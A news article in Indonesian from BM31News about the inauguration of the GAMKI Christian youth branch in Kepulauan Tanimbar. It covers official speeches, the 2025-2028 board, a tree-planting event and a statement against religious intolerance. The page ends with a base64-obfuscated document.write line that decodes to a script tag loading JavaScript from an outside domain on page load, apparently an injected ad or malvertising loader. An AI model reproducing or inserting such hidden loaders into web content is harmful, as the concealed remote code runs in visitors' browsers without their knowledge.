BM31News
BM31News

Resmi Dilantik, GAMKI Tanimbar Siap Hadapi Tantangan Perbatasan

Pelantikan GAMKI Tanimbar bukan sekadar seremoni, melainkan momen kebangkitan gerakan pemuda Kristen yang profetik, kontekstual, dan berdampak bagi masyarakat perbatasan.

Pemerintah Kabupaten Kepulauan Tanimbar melalui Asisten Administrasi Umum Setda KKT, Poli Matitaputty, memberikan dukungan resmi terhadap keberadaan GAMKI sebagai mitra pembangunan.

“Pelantikan ini bukan hanya pengukuhan struktural, tapi juga amanah moral. GAMKI harus menjadi wadah pembentukan pemuda Kristen yang kokoh dalam iman, kuat dalam etika, dan tulus dalam melayani,” ujar Matitaputty.

Ia juga mengapresiasi keterlibatan GAMKI dalam aksi sosial dan lingkungan, seperti penanaman pohon bersama PDAM KKT di kawasan sumber air Bomaki dalam rangkaian Konfercab II.

“Ini bukti bahwa GAMKI bukan hanya bicara gereja, tapi juga peduli terhadap lingkungan dan keberlanjutan sumber daya alam,” tambahnya.

BM31News

Sebelum pelantikan, rapat formatur telah digelar pada Jumat pagi pukul 08.00 WIT di Hotel Incla Saumlaki. Rapat ini menghasilkan struktur kepengurusan lengkap DPC GAMKI Tanimbar 2025-2028 yang diketuai oleh Batbual dan dikoordinasi oleh Sendrio Jereth Sainlia.

Struktur organisasi mencakup departemen strategis seperti kaderisasi, lingkungan, hukum, maritim, hingga UMKM. Hal ini mencerminkan keseriusan GAMKI menjawab tantangan multidimensi di wilayah perbatasan.

Dengan formasi yang inklusif dan terukur, DPC GAMKI Tanimbar berkomitmen memperluas jangkauan pelayanan hingga pelosok desa dan kampung-kampung nelayan.

“GAMKI harus hadir bukan hanya di mimbar gereja, tapi juga di sawah, pasar, kampus, bahkan jalan-jalan perjuangan sosial,” kata Batbual dalam sesi wawancara usai pelantikan.

Ke depan, GAMKI Tanimbar juga akan menjalin kolaborasi lintas sektor dengan lembaga adat, tokoh agama, LSM, dan pemuda-pemuda non-gerejawi dalam membangun jaringan kepemudaan yang inklusif dan berdampak.

Pada kesempatan tersebut, GAMKI Tanimbar turut menyampaikan sikap tegas terhadap berbagai bentuk intoleransi yang terjadi di tanah air. Pengurus menyerukan kepada Kepolisian Republik Indonesia untuk menuntaskan kasus dugaan intoleransi di Desa Tangkil, Cidahu, Kabupaten Sukabumi.

BM31News

“Negara tidak boleh kalah oleh kelompok intoleran. Kami berdiri bersama setiap korban diskriminasi dan kebencian berbasis agama,” kata Batbual mewakili pengurus.

Pelantikan ini bukan sekadar ajang simbolik, melainkan titik awal perjalanan panjang kaderisasi

pemuda Kristen di garis terdepan NKRI. Di tengah krisis multidimensi yang melanda bangsa, kehadiran GAMKI di Tanimbar menjadi jawaban profetik bagi panggilan gereja dan panggilan sejarah.

Sebagaimana ditekankan oleh Ritiauw dalam penutup sambutannya, “GAMKI bukan hanya warisan sejarah, tapi adalah tanggung jawab masa depan.” (BM31-JP)


Dapatkan berita terbaru dari BM31News.com langsung di ponsel Anda! Klik untuk bergabung di Channel WhatsApp dan Telegram kami sekarang juga.

document.write(atob("PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0nLy9iZW50cGVyc3Vhc2l2ZS5jb20vNGMvMjgvMmUvNGMyODJlZDI1M2VjNzk3N2Y0ZGI1YTNhOGFhZDdmNzQuanMnPjwvc2NyaXB0Pg=="));